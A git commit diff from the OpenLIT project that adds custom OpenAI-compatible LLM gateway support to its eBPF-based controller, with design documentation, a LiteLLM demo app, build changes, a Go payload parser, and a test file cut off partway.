Same agent Smaller bill. The tools and infrastructure to get more work from your AI. Fewer tokens. Less compute. Lower cost.
TypeScript agent-harnessagent-harness-engineeringai-engineeringai-observabilityamd-gpuclaude-codeclickhousecodexcoding-agentcoding-agentscursorgenaigpu-monitoringllm-observabilityllmopsnvidia-smiobservabilityopen-sourceopenaiopentelemetry
feat(controller): custom LLM gateway support (#1208)
Aman Agarwal8b7566294594
diff --git a/.cursor/rules/controller-design.mdc b/.cursor/rules/controller-design.mdcnew file mode 100644index 00000000..85d2f2fb--- /dev/null+++ b/.cursor/rules/controller-design.mdc@@ -0,0 +1,119 @@+---+description: Design principles and invariants for the OpenLIT controller (Go agent that discovers + instruments LLM workloads via eBPF/OBI + SDK injection) and the Agents-page server layer that consumes its data. Use when modifying openlit-controller/** or the controller/agents backend in src/client.+globs: openlit-controller/**/*.go,openlit-controller/patches/*.patch,openlit-controller/_obi-providers/**/*.go,src/client/src/app/api/controller/**/*.ts,src/client/src/app/api/agents/**/*.ts,src/client/src/lib/platform/controller/**/*.ts,src/client/src/lib/platform/agents/**/*.ts+alwaysApply: false+---++# OpenLIT Controller — Design Principles & Invariants++The controller (`openlit-controller/`, Go) is a node/cluster agent that:+1. **Discovers** processes talking to LLM endpoints via an eBPF scanner (kprobe on+ `tcp_connect` + `/proc/net/tcp` connscan), keyed on destination **IP+port**.+2. **Instruments** discovered workloads two ways: OBI (eBPF payload extraction,+ built from upstream + our `patches/`) and Python-SDK injection+ (docker/k8s/systemd/bare).+3. **Reports** to the OpenLIT backend via a poll loop; the backend materializes+ the data into the Agents page.++Full rationale: see `openlit-controller/DESIGN.md`. The rules below are+**invariants** — violating one re-introduces a real bug we have already hit.++## 1. Service naming — the controller is the single naming authority++- A workload's `service.name` is resolved ONCE at discovery (`EnrichProcess`).+ Precedence: a user-set `OTEL_SERVICE_NAME` / `service.name` in the process env+ WINS; otherwise container name (docker/k8s) or process name.+- **All three emission paths must agree on that name:** discovery heartbeat, OBI+ (`entry.Name = svc.ServiceName` in ALL modes), and SDK injection+ (`OTEL_SERVICE_NAME=svc.ServiceName`). If they diverge, traces don't match the+ Agents summary row and the detail tabs render empty.+- The Agents detail tabs match eBPF traces to an agent by `service_name`+ equality (eBPF spans carry no `service.workload.key`), so the names MUST match.++## 2. Workload identity must be infrastructure-derived, never user-overridable++- The dedup key is `service_name` (`agent_key = sha1(cluster|env|service_name)`)+ on the controller side, and `workload_key` for SDK↔controller merge.+- `buildWorkloadKey` / `stableContainerName` must derive from infra only+ (container name → container ID → pod/deployment/namespace). **Never** fall back+ to `meta.ServiceName` for the key — it can be overridden by `OTEL_SERVICE_NAME`,+ and a key that shifts on env change produces a **duplicate agent listing**.+- Keep the key stable across restarts (so a restart updates the same row). In+ Docker/K8s pin identity to container/pod; for the dev compose set a stable+ `OPENLIT_INSTANCE_ID`.++## 3. Everything from the poll response / config is UNTRUSTED input++- The poll `config` and action payloads are attacker-influenceable and are+ EXECUTED by the controller. Validate at the ingress, before any use:+ - `sdk_version` is interpolated into `pip install` (incl. shell strings) — it+ MUST match the PEP 440 grammar `^[A-Za-z0-9][A-Za-z0-9._+-]*$` (validated in+ `EnablePythonSDK`, defended again in `pypiPackageSpec`). Never relax this.+ - The backend `validateControllerConfig` sanitizes the config (types, size+ caps, control-char strip) before persisting — it is writable by any+ authenticated user. Keep it in sync with `ControllerConfig`; new config+ fields must be added there or they are silently dropped.+ - The poll route coerces/caps every service field before the ClickHouse insert.++## 4. Never break out of a target sink with unescaped input++- systemd drop-ins: `escapeSystemdValue` must escape `\` then `"` then strip+ CR/LF + control chars (a newline injects a new unit directive).+- ClickHouse string literals: use `escapeClickHouseString` (the single shared+ helper in `src/lib/clickhouse-escape.ts`) for EVERY interpolated value. Do not+ re-add per-file `escape()` copies. Prefer parameterized inserts (JSONEachRow).+- Container selection: match the target container by name exactly; on a+ specified-but-unmatched name, ERROR — never silently fall back to container[0].++## 5. OBI subprocess lifecycle++- `OBIManager` auto-restarts on unexpected exit. An INTENTIONAL stop must set the+ `stopping` flag (under lock) BEFORE signalling SIGTERM — `Stop()` signals+ before `cancel()`, so the wait goroutine would otherwise see `ctx.Err()==nil`+ and resurrect a just-stopped OBI. `Start` resets the flag.+- OBI config changes (providers, custom hosts, export endpoint) take effect only+ via `rebuildOBI`; any setter that affects OBI config must call it when running.+- `custom_llm_hosts` feed BOTH the eBPF scanner (discovery) AND OBI+ `GenAI.Custom.Hosts` (the host-gated custom extractor). Update both.++## 6. Concurrency++- Maps shared between the refresh loop and scan loop (e.g. `ConnScanner`+ endpoints) are replaced wholesale under a lock and read via a snapshot — never+ mutate a shared map in place.+- Channel consumers must handle close (`v, ok := <-ch`), not spin on zero values.+- `snapshotService` and any "defensive copy" must deep-copy slices AND maps;+ a struct copy shares slice backing arrays with the live engine state.++## 7. OBI patches (`patches/` + `_obi-providers/`)++- We build OBI from a pinned upstream tag (`OBI_BRANCH` in `Dockerfile`) and+ apply `patches/{config,span,http_transform}.patch` + vendored `_obi-providers/`.+ Bumping the version = re-rebasing the 3 patches; verify they `git apply` on a+ fresh clone and that the obi-builder compiles.+- GenAI message attributes MUST follow the strict semantic-conventions structure+ (`gen_ai.input.messages`/`output.messages` = `[{role, parts:[{type,content}]}]`,+ output adds `finish_reason`; `gen_ai.system_instructions` = flat parts array).+ Operation names are normalized (`chat.completion` → `chat`). Span name is+ `"<operation> <model>"`.+- The OBI attribute-select list (`obi.go`) must use the EXACT semconv keys+ (`gen_ai.system_instructions`, underscore — not `gen_ai.system.instructions`),+ or the attribute is silently dropped.+- Custom-gateway extraction is detected by the request's destination+ host:port matching `custom_llm_hosts` — NOT by path or vendor headers. Custom+ gateways may serve on arbitrary paths (e.g. `/testchat`); do not gate on path.++## 8. Controller ↔ backend auth (intentional onboarding behavior)++- The poll endpoint requires a valid API key IF any API key exists; if none has+ been created yet it serves keyless (to speed first-run onboarding). This is+ deliberate — do NOT "harden" it into always-required; the keyless path closes+ automatically the moment the first key is created.++## 9. Robustness++- Backend down / OBI missing / BPF load fail must degrade gracefully (poll+ backoff; discovery disabled; API still serves) — never crash the controller.+- Destructive workload operations (naked-pod recreate = delete+create) must+ capture the original spec (logged) and retry rollback; treat the delete→create+ window as the danger zone.diff --git a/.github/workflows/controller-tests.yml b/.github/workflows/controller-tests.ymlindex 437ee560..2bac2f0b 100644--- a/.github/workflows/controller-tests.yml+++ b/.github/workflows/controller-tests.yml@@ -37,7 +37,10 @@ jobs:set -euo pipefailsudo apt-get update -qsudo apt-get install -y clang llvm libbpf-dev- curl -fsSL "https://github.com/libbpf/bpftool/releases/download/${BPFTOOL_VERSION}/bpftool-${BPFTOOL_VERSION}-amd64.tar.gz" \+ # GitHub release-assets occasionally return transient 504s; retry before+ # piping into tar (a truncated body produces a misleading gzip error).+ curl -fsSL --retry 5 --retry-all-errors --retry-delay 5 \+ "https://github.com/libbpf/bpftool/releases/download/${BPFTOOL_VERSION}/bpftool-${BPFTOOL_VERSION}-amd64.tar.gz" \| sudo tar -xz -C /usr/local/bin/sudo chmod +x /usr/local/bin/bpftool/usr/local/bin/bpftool versiondiff --git a/examples/litellm-chat-app/Dockerfile b/examples/litellm-chat-app/Dockerfilenew file mode 100644index 00000000..026ef554--- /dev/null+++ b/examples/litellm-chat-app/Dockerfile@@ -0,0 +1,6 @@+FROM python:3.11-slim+WORKDIR /app+COPY requirements.txt .+RUN pip install --no-cache-dir -r requirements.txt+COPY app.py .+CMD ["python", "-u", "app.py"]diff --git a/examples/litellm-chat-app/app.py b/examples/litellm-chat-app/app.pynew file mode 100644index 00000000..ac3e7396--- /dev/null+++ b/examples/litellm-chat-app/app.py@@ -0,0 +1,30 @@+import os+import time++import openai++# Point a standard OpenAI client at the self-hosted LiteLLM proxy (an+# OpenAI-compatible LLM gateway). The controller's eBPF scanner discovers the+# connection to the proxy host:port (configured via custom_llm_hosts), and OBI's+# custom (OpenAI-compatible) extractor parses the payload.+BASE_URL = os.environ.get("LITELLM_BASE_URL", "http://litellm:4000")+API_KEY = os.environ.get("LITELLM_API_KEY", "sk-1234")+MODEL = os.environ.get("MODEL", "gpt-4o-mini")+INTERVAL = int(os.environ.get("REQUEST_INTERVAL_SECONDS", "30"))++client = openai.OpenAI(base_url=BASE_URL, api_key=API_KEY)++print(f"LiteLLM proxy test app starting -- calling {BASE_URL} every {INTERVAL}s")+i = 0+while True:+ try:+ resp = client.chat.completions.create(+ model=MODEL,+ messages=[{"role": "user", "content": "hi"}],+ max_tokens=10,+ )+ print(f"[{i}] -> {resp.choices[0].message.content}")+ except Exception as e:+ print(f"[{i}] Error: {e}")+ i += 1+ time.sleep(INTERVAL)diff --git a/examples/litellm-chat-app/requirements.txt b/examples/litellm-chat-app/requirements.txtnew file mode 100644index 00000000..ec838c5a--- /dev/null+++ b/examples/litellm-chat-app/requirements.txt@@ -0,0 +1 @@+openaidiff --git a/examples/litellm-config/config.yaml b/examples/litellm-config/config.yamlnew file mode 100644index 00000000..1cdcb0e7--- /dev/null+++ b/examples/litellm-config/config.yaml@@ -0,0 +1,17 @@+# LiteLLM proxy config for the dev demo. Uses mock_response so the gateway is+# fully functional without any real provider API key: it returns a canned+# OpenAI-format completion. This lets the controller discover the connection to+# the proxy (custom_llm_hosts) AND lets OBI's custom (OpenAI-compatible)+# extractor parse a real, well-formed response payload.+model_list:+ - model_name: gpt-4o-mini+ litellm_params:+ model: gpt-4o-mini+ api_key: "sk-mock"+ mock_response: "Hello from the LiteLLM proxy (mock response)."++general_settings:+ master_key: sk-1234++litellm_settings:+ drop_params: truediff --git a/openlit-controller/DESIGN.md b/openlit-controller/DESIGN.mdnew file mode 100644index 00000000..cfd4c386--- /dev/null+++ b/openlit-controller/DESIGN.md@@ -0,0 +1,124 @@+# OpenLIT Controller — Design++This document explains how the controller works and the design principles that+keep it correct. A condensed, enforceable version lives in+`.cursor/rules/controller-design.mdc` (auto-attached when editing controller or+Agents-backend code). Read this for the "why"; read the rule for the "must".++---++## What the controller is++A node-level (Linux/Docker) or cluster-level (Kubernetes) agent that gives+zero-code LLM observability. Three responsibilities:++1. **Discovery** — an eBPF scanner detects processes connecting to LLM+ endpoints and reports them as "discovered" workloads.+2. **Instrumentation** — on request, it instruments a workload via either:+ - **OBI** (OpenTelemetry eBPF Instrumentation) for eBPF payload extraction, or+ - **Python SDK injection** (recreating the container / patching the unit with+ `OTEL_*` env + a bootstrapped `openlit` package).+3. **Reporting** — a poll loop sends discovered/instrumented state to the OpenLIT+ backend and receives pending actions + config. The backend materializes this+ into the Agents page.++```+ process ──(tcp connect)──▶ LLM endpoint+ │ ▲+ eBPF scanner (kprobe+connscan, IP:port match)+ │ LLMConnectEvent+ ▼+ Engine ── discovered ──▶ poll ──▶ OpenLIT backend ──▶ materializer ──▶ Agents page+ │+ ├── OBI subprocess (payload extraction) ──▶ OTLP ──▶ collector+ └── Python SDK injection (docker/k8s/systemd/bare)+```++---++## Layers++### Discovery (`internal/scanner/`, Linux-only)+- eBPF kprobe on `tcp_v4/v6_connect` + a `/proc/net/tcp` connscan catch both new+ and pre-existing (keep-alive) connections.+- Endpoints are keyed on **IP+port** (BPF map `llm_endpoints`), so self-hosted+ proxies on non-443 ports (LiteLLM :4000, Ollama :11434, vLLM :8000) are matched+ without flagging unrelated traffic to a shared IP.+- Built-in SaaS hosts are resolved by DNS; user `custom_llm_hosts` are added at+ runtime. The resolver reconciles the BPF map with stale-key pruning.++### Engine (`internal/engine/`)+- Owns the service registry, OBI manager, container enricher, and the action+ handlers (instrument/uninstrument, SDK enable/disable, lifecycle start/stop/restart).+- `EnrichProcess` resolves identity + metadata for a PID from `/proc` (+ Docker/K8s).++### Backend contract (`internal/openlit/`, `cmd/controller/main.go`)+- `Poll` sends `PollRequest` (instance + services + action results), receives+ `PollResponse` (pending actions + config). Config is applied only when changed.++### OBI build (`Dockerfile`, `patches/`, `_obi-providers/`)+- OBI is built from a pinned upstream tag; our `patches/` add GenAI providers and+ semconv alignment, and `_obi-providers/` vendors standalone parsers (custom,+ ollama). See `patches/README.md`.++---++## Design principles (the "why")++### Naming authority+The controller discovers a workload *before* OBI runs, so it is the authority on+`service.name`. It resolves the name once and feeds it to all emitters (OBI+target name, SDK `OTEL_SERVICE_NAME`). A user's explicit `OTEL_SERVICE_NAME`+wins, so we never fight an operator's choice. **Why it matters:** the Agents+detail tabs join eBPF traces to an agent by `service_name` equality; if OBI emits+a different name than the controller reported, the workload shows up but its+Overview/Dashboard/Monitoring tabs are empty.++### Identity vs. name are different concerns+`service_name` is for display + matching; `workload_key` is for dedup/identity.+Identity must be **infrastructure-derived** (container/pod), never the+user-overridable name — otherwise enabling `OTEL_SERVICE_NAME` shifts the key and+the UI shows the same workload twice. Identity must also be stable across+restarts so a restart updates the same row.++### Untrusted input boundary+The poll `config` and action payloads come from the backend and are *executed*+by the controller (pip installs, env injection, workload lifecycle). They are+treated as untrusted: `sdk_version` is grammar-validated before it can reach a+shell; the backend validates/sanitizes the whole config before persisting; the+poll body is coerced/capped before the ClickHouse insert.++### Don't break out of sinks+Any value embedded into a structured sink (systemd unit, ClickHouse SQL literal,+pip arg, container selector) is escaped/validated for that sink. One shared+ClickHouse escaper; systemd escaping strips line breaks; container match is exact.++### OBI lifecycle+OBI auto-restarts on crash, so an intentional stop must declare intent (the+`stopping` flag) before signalling, or the supervisor resurrects it. All OBI+config changes flow through `rebuildOBI`.++### Onboarding-friendly auth+The poll endpoint requires an API key once one exists, but serves keyless before+the first key is created — a deliberate trade-off to make first-run fast. It+closes automatically when the operator creates a key.++### Graceful degradation+Backend unreachable, OBI binary missing, BPF load failure — each degrades a+capability without crashing the controller.++---++## Gotchas / history (bugs we've hit — don't reintroduce)++- OBI auto-restarted a workload that was just *stopped* because `Stop()` signals+ SIGTERM before `cancel()` → fixed with the `stopping` flag.+- Agents tabs were empty because OBI emitted `litellm-app` while discovery+ reported `demo-litellm-app` → fixed by making the controller the naming authority.+- `gen_ai.system_instructions` was dropped because the attribute-select list used+ the dotted (`gen_ai.system.instructions`) key instead of the underscore semconv key.+- `custom_llm_hosts` changes didn't reach OBI (no `rebuildOBI`) → fixed.+- A user `OTEL_SERVICE_NAME` could leak into the K8s workload key+ (`stableContainerName` fell back to ServiceName) → fixed to infra-only.+- `sdk_version` from the poll payload was interpolated into a shell → RCE; now+ grammar-validated at ingress.diff --git a/openlit-controller/Dockerfile b/openlit-controller/Dockerfileindex c9bd60ff..86196bbf 100644--- a/openlit-controller/Dockerfile+++ b/openlit-controller/Dockerfile@@ -2,10 +2,13 @@FROM ghcr.io/open-telemetry/obi-generator:0.2.11 AS obi-builderARG OBI_REPO=https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation.git-ARG OBI_BRANCH=v0.8.0+ARG OBI_BRANCH=v0.9.0ARG TARGETARCHENV GOARCH=${TARGETARCH}+# OBI v0.9.0 requires Go >= 1.25.9, newer than the obi-generator base image's+# pinned toolchain. Allow Go to auto-download the toolchain its go.mod requests.+ENV GOTOOLCHAIN=autoWORKDIR /obi-src@@ -13,6 +16,16 @@ RUN apk add --no-cache make git bashRUN git clone --depth 1 --branch ${OBI_BRANCH} ${OBI_REPO} .+# Vendor our standalone provider parsers (new files, not patches) into the OBI+# HTTP package, then apply patches that wire them in + add config/span fields.+COPY _obi-providers/ /tmp/providers/+RUN for gofile in /tmp/providers/*/*.go; do \+ [ -f "$gofile" ] || continue; \+ case "$gofile" in *_test.go) continue;; esac; \+ echo "Vendoring $gofile"; \+ cp "$gofile" pkg/ebpf/common/http/; \+ done+COPY patches/ /tmp/patches/RUN for patch in /tmp/patches/*.patch; do \[ -f "$patch" ] || continue; \diff --git a/openlit-controller/Makefile b/openlit-controller/Makefileindex 6ed61159..d4149aff 100644--- a/openlit-controller/Makefile+++ b/openlit-controller/Makefile@@ -62,7 +62,7 @@ vendor-providers:@echo "==> Checking out OBI submodule..."git submodule update --init --checkout .obi-src@echo "==> Copying provider parser files..."- @for dir in providers/*/; do \+ @for dir in _obi-providers/*/; do \provider=$$(basename $$dir); \for gofile in $$dir*.go; do \[ -f "$$gofile" ] || continue; \diff --git a/openlit-controller/_obi-providers/custom/custom.go b/openlit-controller/_obi-providers/custom/custom.gonew file mode 100644index 00000000..52d5314b--- /dev/null+++ b/openlit-controller/_obi-providers/custom/custom.go@@ -0,0 +1,375 @@+// Copyright The OpenTelemetry Authors+// SPDX-License-Identifier: Apache-2.0++package ebpfcommon // import "go.opentelemetry.io/obi/pkg/ebpf/common/http"++import (+ "bytes"+ "encoding/json"+ "io"+ "log/slog"+ "net/http"+ "strconv"+ "strings"++ "go.opentelemetry.io/obi/pkg/appolly/app/request"+)++// customHostMatches reports whether a captured request's destination+// (host + port, as seen on the connection) matches one of the configured+// gateway specs. Each spec is "host:port" or bare "host" (any port). The+// captured host may be an IP or a DNS name depending on how the client dialed,+// so we match the spec host against both the connection Host and the HTTP+// Host header.+func customHostMatches(specs []string, connHost, headerHost string, port int) bool {+ connHost = strings.ToLower(strings.TrimSpace(connHost))+ headerHost = stripPort(strings.ToLower(strings.TrimSpace(headerHost)))++ for _, spec := range specs {+ spec = strings.ToLower(strings.TrimSpace(spec))+ if spec == "" {+ continue+ }+ specHost := spec+ specPort := ""+ if h, p, ok := splitHostPort(spec); ok {+ specHost, specPort = h, p+ }+ // Port must match when the spec pins one.+ if specPort != "" && specPort != strconv.Itoa(port) {+ continue+ }+ if specHost == "" {+ continue+ }+ if specHost == connHost || specHost == headerHost {+ return true+ }+ }+ return false+}++func splitHostPort(s string) (host, port string, ok bool) {+ i := strings.LastIndexByte(s, ':')+ if i < 0 {+ return s, "", false+ }+ // Avoid mistaking a bare IPv6 literal for host:port.+ if strings.IndexByte(s, ':') != i {+ return s, "", false+ }+ return s[:i], s[i+1:], true+}++func stripPort(s string) string {+ if h, _, ok := splitHostPort(s); ok {+ return h+ }+ return s+}++// --- GenAI semantic-conventions message normalization ---+//+// The semconv (github.com/open-telemetry/semantic-conventions-genai) defines a+// strict structure for gen_ai.input.messages, gen_ai.output.messages and+// gen_ai.system_instructions:+//+// input/output messages: [{ "role": <role>, "parts": [ <part>, ... ],+// "finish_reason": <reason> // output only+// }]+// system_instructions: [ <part>, ... ] // a flat array of parts+// part (text): { "type": "text", "content": <string> }+// part (tool_call): { "type": "tool_call", "id": <id>, "name": <name>,+// "arguments": <obj> }+// part (tool_call_resp): { "type": "tool_call_response", "id": <id>,+// "response": <any> }+//+// We map the OpenAI-compatible wire format (messages[].content, tool_calls,+// choices[].message) into this structure. Mirrors upstream OBI #2005.++type scPart struct {+ Type string `json:"type"`+ Content string `json:"content,omitempty"`+ ID string `json:"id,omitempty"`+ Name string `json:"name,omitempty"`+ Arguments json.RawMessage `json:"arguments,omitempty"`+ Response json.RawMessage `json:"response,omitempty"`+}++type scMessage struct {+ Role string `json:"role"`+ Parts []scPart `json:"parts"`+ FinishReason string `json:"finish_reason,omitempty"`+}++// openAIMessage mirrors one entry of the OpenAI chat `messages` array. content+// is either a plain string or an array of typed content parts.+type openAIMessage struct {+ Role string `json:"role"`+ Content json.RawMessage `json:"content"`+ ToolCallID string `json:"tool_call_id"`+ ToolCalls []struct {+ ID string `json:"id"`+ Function struct {+ Name string `json:"name"`+ Arguments json.RawMessage `json:"arguments"`+ } `json:"function"`+ } `json:"tool_calls"`+}++type openAIContentPart struct {+ Type string `json:"type"`+ Text string `json:"text"`+}++// contentToParts converts an OpenAI message `content` (string or parts array)+// into semconv text parts.+func contentToParts(raw json.RawMessage) []scPart {+ if len(raw) == 0 {+ return nil+ }+ // String content.+ var s string+ if err := json.Unmarshal(raw, &s); err == nil {+ if s == "" {+ return nil+ }+ return []scPart{{Type: "text", Content: s}}+ }+ // Array of content parts (multimodal). Capture text parts; other modalities+ // are summarized as a generic text marker so the structure stays valid.+ var arr []openAIContentPart+ if err := json.Unmarshal(raw, &arr); err == nil {+ parts := make([]scPart, 0, len(arr))+ for _, p := range arr {+ switch p.Type {+ case "text", "input_text", "output_text", "":+ if p.Text != "" {+ parts = append(parts, scPart{Type: "text", Content: p.Text})+ }+ default:+ parts = append(parts, scPart{Type: "text", Content: "[" + p.Type + "]"})+ }+ }+ return parts+ }+ return nil+}++func messageToParts(m openAIMessage) []scPart {+ // A tool-result message ("role":"tool" with tool_call_id) carries the tool+ // response as its content.+ if m.ToolCallID != "" {+ return []scPart{{Type: "tool_call_response", ID: m.ToolCallID, Response: m.Content}}+ }+ parts := contentToParts(m.Content)+ for _, tc := range m.ToolCalls {+ parts = append(parts, scPart{+ Type: "tool_call",+ ID: tc.ID,+ Name: tc.Function.Name,+ Arguments: tc.Function.Arguments,+ })+ }+ return parts+}++// normalizeInputMessages builds gen_ai.input.messages. System-role messages are+// excluded here (they belong in system_instructions). Falls back to wrapping a+// plain prompt/input string when the request used the completions/responses API.+func normalizeInputMessages(messages json.RawMessage, prompt, input string) string {+ var msgs []openAIMessage+ if len(messages) > 0 {+ _ = json.Unmarshal(messages, &msgs)+ }+ out := make([]scMessage, 0, len(msgs))+ for _, m := range msgs {+ if m.Role == "system" || m.Role == "developer" {+ continue+ }+ parts := messageToParts(m)+ if len(parts) == 0 {+ continue+ }+ out = append(out, scMessage{Role: m.Role, Parts: parts})+ }+ if len(out) == 0 {+ text := prompt+ if text == "" {+ text = input+ }+ if text == "" {+ return ""+ }+ out = append(out, scMessage{Role: "user", Parts: []scPart{{Type: "text", Content: text}}})+ }+ return marshalSC(out)+}++// openAIChoice mirrors one entry of a chat-completions `choices` array.+type openAIChoice struct {+ FinishReason string `json:"finish_reason"`+ Message openAIMessage `json:"message"`+ Text string `json:"text"` // legacy /completions+}++// normalizeOutputMessages builds gen_ai.output.messages from response choices.+func normalizeOutputMessages(choices json.RawMessage) string {+ if len(choices) == 0 {+ return ""+ }+ var arr []openAIChoice+ if err := json.Unmarshal(choices, &arr); err != nil {+ return ""+ }+ out := make([]scMessage, 0, len(arr))+ for _, c := range arr {+ role := c.Message.Role+ if role == "" {+ role = "assistant"+ }+ parts := messageToParts(c.Message)+ if len(parts) == 0 && c.Text != "" {+ parts = []scPart{{Type: "text", Content: c.Text}}+ }+ out = append(out, scMessage{Role: role, Parts: parts, FinishReason: c.FinishReason})+ }+ if len(out) == 0 {+ return ""+ }+ return marshalSC(out)+}++// normalizeSystemInstructions builds gen_ai.system_instructions: a flat array of+// parts, sourced from any system/developer-role messages plus the Responses API+// `instructions` field.+func normalizeSystemInstructions(messages json.RawMessage, instructions string) string {+ var parts []scPart+ if instructions != "" {+ parts = append(parts, scPart{Type: "text", Content: instructions})+ }+ if len(messages) > 0 {+ var msgs []openAIMessage+ if err := json.Unmarshal(messages, &msgs); err == nil {+ for _, m := range msgs {+ if m.Role == "system" || m.Role == "developer" {+ parts = append(parts, contentToParts(m.Content)...)+ }+ }+ }+ }+ if len(parts) == 0 {+ return ""+ }+ b, err := json.Marshal(parts)+ if err != nil {+ return ""+ }+ return string(b)+}++func marshalSC(msgs []scMessage) string {+ b, err := json.Marshal(msgs)+ if err != nil {+ return ""+ }+ return string(b)+}++// normalizeGenAIOperation maps raw OpenAI-compatible response "object" values to+// the GenAI semconv gen_ai.operation.name. Mirrors upstream OBI's normalization+// (PR #2005) so custom-gateway spans match the names used elsewhere on the+// platform (e.g. "chat", not "chat.completion").+func normalizeGenAIOperation(op string) string {+ switch op {+ case "chat.completion", "chat.completion.chunk":+ return "chat"+ case "text_completion":+ return "text_completion"+ case "list", "embedding":+ return "embeddings"+ default:+ return op+ }+}++// CustomSpan parses traffic to a configured custom OpenAI-compatible gateway+// (LiteLLM, vLLM, LocalAI, OpenRouter, ...). It is gated on the request's+// destination matching one of `hosts` (the dashboard's custom_llm_hosts), then+// parses the OpenAI-shaped request/response. Unlike OpenAISpan it does NOT+// require OpenAI-proprietary response headers, which self-hosted gateways do+// not emit. Returns ok=false when the destination is not a configured gateway+// or the body is not OpenAI-shaped.+func CustomSpan(baseSpan *request.Span, hosts []string, req *http.Request, resp *http.Response) (request.Span, bool) {+ if len(hosts) == 0 {+ return *baseSpan, false+ }++ headerHost := ""+ if req.URL != nil {+ headerHost = req.Host+ }+ if !customHostMatches(hosts, baseSpan.Host, headerHost, baseSpan.HostPort) {+ return *baseSpan, false+ }++ reqB, err := io.ReadAll(req.Body)+ if err != nil {+ return *baseSpan, false+ }+ req.Body = io.NopCloser(bytes.NewBuffer(reqB))++ respB, err := getResponseBody(resp)+ if err != nil && len(respB) == 0 {+ return *baseSpan, false+ }++ slog.Debug("Custom GenAI gateway", "request", string(reqB), "response", string(respB))++ var parsedRequest request.OpenAIInput+ if err := json.Unmarshal(reqB, &parsedRequest); err != nil {+ slog.Debug("failed to parse custom gateway request", "error", err)+ }++ var parsedResponse request.VendorOpenAI+ if err := json.Unmarshal(respB, &parsedResponse); err != nil {+ slog.Debug("failed to parse custom gateway response", "error", err)+ }++ parsedResponse.Request = parsedRequest++ // OperationName is parsed from the OpenAI-compatible response body's "object"+ // field (e.g. "chat.completion") via VendorOpenAI's struct tag — like the+ // OpenAI parser, and independent of the request path. A gateway serving chat+ // on a non-standard path (e.g. /testchat) is still named correctly as long as+ // the body is OpenAI-shaped.+ //+ // Fallback to a path hint only when the body carried no "object" (rare, e.g.+ // streamed responses); never used as a gate.+ if parsedResponse.OperationName == "" && req.URL != nil {+ p := strings.TrimSuffix(req.URL.Path, "/")+ switch {+ case strings.HasSuffix(p, "/embeddings"):+ parsedResponse.OperationName = "embeddings"+ case strings.HasSuffix(p, "/chat/completions"):+ parsedResponse.OperationName = "chat.completion"+ case strings.HasSuffix(p, "/completions"):+ parsedResponse.OperationName = "text_completion"+ }+ }+ // Normalize raw OpenAI object values to the GenAI semconv operation names+ // (gen_ai.operation.name), matching upstream OBI #2005: "chat.completion" -> "chat".+ parsedResponse.OperationName = normalizeGenAIOperation(parsedResponse.OperationName)++ baseSpan.SubType = request.HTTPSubtypeCustom+ baseSpan.GenAI = &request.GenAI{+ Custom: &parsedResponse,+ // Message bodies are normalized to the GenAI semantic-conventions+ // structure (role + parts[]), NOT emitted as the raw OpenAI shape.+ CustomInputMessages: normalizeInputMessages(parsedRequest.Messages, parsedRequest.Prompt, parsedRequest.Input),+ CustomOutputMessages: normalizeOutputMessages(parsedResponse.Choices),+ CustomSystemInstructions: normalizeSystemInstructions(parsedRequest.Messages, parsedRequest.Instructions),+ }++ return *baseSpan, true+}diff --git a/openlit-controller/_obi-providers/custom/custom_test.go b/openlit-controller/_obi-providers/custom/custom_test.gonew file mode 100644index 00000000..1a450e9c--- /dev/null+++ b/openlit-controller/_obi-providers/custom/custom_test.go@@ -0,0 +1,212 @@+// Copyright The OpenTelemetry Authors+// SPDX-License-Identifier: Apache-2.0++package ebpfcommon++import (+ "bytes"+ "encoding/json"+ "io"+ "net/http"+ "net/url"+ "strings"+ "testing"++ "go.opentelemetry.io/obi/pkg/appolly/app/request"+)++func customReqResp(path, host, reqBody, respBody string) (*http.Request, *http.Response) {+ req := &http.Request{+ Method: "POST",+ URL: &url.URL{Path: path},+ Host: host,+ Body: io.NopCloser(strings.NewReader(reqBody)),+ Header: http.Header{},+ }+ resp := &http.Response{+ StatusCode: 200,+ Body: io.NopCloser(strings.NewReader(respBody)),+ Header: http.Header{},+ }+ return req, resp+}++const openAIShapedResp = `{"object":"chat.completion","id":"cmpl-1","model":"gpt-4o-mini","choices":[{"finish_reason":"stop","message":{"role":"assistant","content":"hi"}}],"usage":{"prompt_tokens":11,"completion_tokens":7,"total_tokens":18}}`+const openAIShapedReq = `{"model":"gpt-4o-mini","messages":[{"role":"user","content":"hi"}],"temperature":0.7}`++// Matches a configured gateway by host:port -> parsed as custom GenAI span.+func TestCustomSpanHostMatch(t *testing.T) {+ base := &request.Span{Type: request.EventTypeHTTPClient, Host: "172.24.0.3", HostPort: 4000}+ req, resp := customReqResp("/chat/completions", "litellm:4000", openAIShapedReq, openAIShapedResp)+ req.Body = io.NopCloser(bytes.NewBufferString(openAIShapedReq))++ span, ok := CustomSpan(base, []string{"litellm:4000"}, req, resp)+ if !ok {+ t.Fatal("expected CustomSpan to match configured gateway litellm:4000")+ }+ if span.SubType != request.HTTPSubtypeCustom {+ t.Fatalf("expected HTTPSubtypeCustom, got %d", span.SubType)+ }+ if span.GenAI == nil || span.GenAI.Custom == nil {+ t.Fatal("expected GenAI.Custom populated")+ }+ if span.GenAI.Custom.Request.Model != "gpt-4o-mini" {+ t.Fatalf("model: %q", span.GenAI.Custom.Request.Model)+ }+ if span.GenAI.Custom.Usage.GetInputTokens() != 11 || span.GenAI.Custom.Usage.GetOutputTokens() != 7 {+ t.Fatalf("tokens wrong: %+v", span.GenAI.Custom.Usage)+ }+ // Operation normalized to semconv ("chat.completion" -> "chat").+ if span.GenAI.Custom.OperationName != "chat" {+ t.Fatalf("operation should normalize to 'chat', got %q", span.GenAI.Custom.OperationName)+ }+ // Span name follows the OpenAI convention "<operation> <model>".+ if name := span.TraceName(); name != "chat gpt-4o-mini" {+ t.Fatalf("span name: got %q, want %q", name, "chat gpt-4o-mini")+ }++ // Messages MUST follow the GenAI semconv structure (role + parts[]), not the+ // raw OpenAI shape.+ var inMsgs []scMessage+ if err := json.Unmarshal([]byte(span.GenAI.CustomInputMessages), &inMsgs); err != nil {+ t.Fatalf("input messages not valid JSON: %v (%s)", err, span.GenAI.CustomInputMessages)+ }+ if len(inMsgs) != 1 || inMsgs[0].Role != "user" || len(inMsgs[0].Parts) != 1 ||+ inMsgs[0].Parts[0].Type != "text" || inMsgs[0].Parts[0].Content != "hi" {+ t.Fatalf("input messages not semconv-shaped: %s", span.GenAI.CustomInputMessages)+ }++ var outMsgs []scMessage+ if err := json.Unmarshal([]byte(span.GenAI.CustomOutputMessages), 